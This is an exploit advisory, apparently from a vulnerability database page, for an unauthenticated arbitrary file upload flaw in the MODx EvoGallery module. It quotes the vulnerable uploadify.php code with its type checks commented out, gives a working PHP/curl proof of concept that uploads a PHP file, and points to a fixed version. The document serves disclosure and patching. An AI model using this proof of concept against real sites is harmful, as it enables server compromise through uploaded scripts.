MODx (Evogallery) File Upload Vulnerability

2014.02.19
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

[+] Author: TUNISIAN CYBER [+] Exploit Title: MODx (Evogallery) File Upload Vulnerability [+] Date: 18-02-2014 [+] Category: WebApp [+] Tested on: KaliLinux/Windows 7 Pro [+] Vendor: http://modx.com/extras/package/evogallery [+] Friendly Sites: na3il.com,th3-creative.com 1.OVERVIEW: MODx's module Evogallery suffers from a File Upload Vulnerability. 2.Background: EvoGallery is a dynamic gallery extra for MODx Evolution. It allows you to quickly and easily create galleries of images by associating them with any page on your site. Galleries can be outputted in a variety of ways using a templated system. http://modx.com/extras/package/evogallery 3.Vulnerability: File : /assets/modules/evogallery/js/uploadify/uploadify.php Lines:27--->45 [PHP] $tempFile = $_FILES['Filedata']['tmp_name']; $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/'; $targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name']; // $fileTypes = str_replace('*.','',$_REQUEST['fileext']); // $fileTypes = str_replace(';','|',$fileTypes); // $typesArray = split('\|',$fileTypes); // $fileParts = pathinfo($_FILES['Filedata']['name']); // if (in_array($fileParts['extension'],$typesArray)) { // Uncomment the following line if you want to make the directory if it doesn't exist // mkdir(str_replace('//','/',$targetPath), 0755, true); move_uploaded_file($tempFile,$targetFile); echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile); // } else { // echo 'Invalid file type.'; // } } [PHP] 4.Proof Of Concept: <?php $uploadfile="file.php"; $ch = curl_init("demo.ltd/assets/modules/evogallery/js/uploadify/uploadify.php"); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec($ch); curl_close($ch); print "$postResult"; ?> File can be found at demo.ltd/file.php 5.Solution(s): Download fixed version: https://github.com/Mark-H/EvoGallery 6.TIME-LINE: 2014-02-17: Vulnerability was discovered. 2014-02-17: Contact with the module maker. 2014-02-18: Bug fixed 2014-02-18: Vulnerability released. 7.Greetings: Xmax-tn Xtech-set N43il Sec4ver,E4A Members

References:

https://github.com/Mark-H/EvoGallery


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top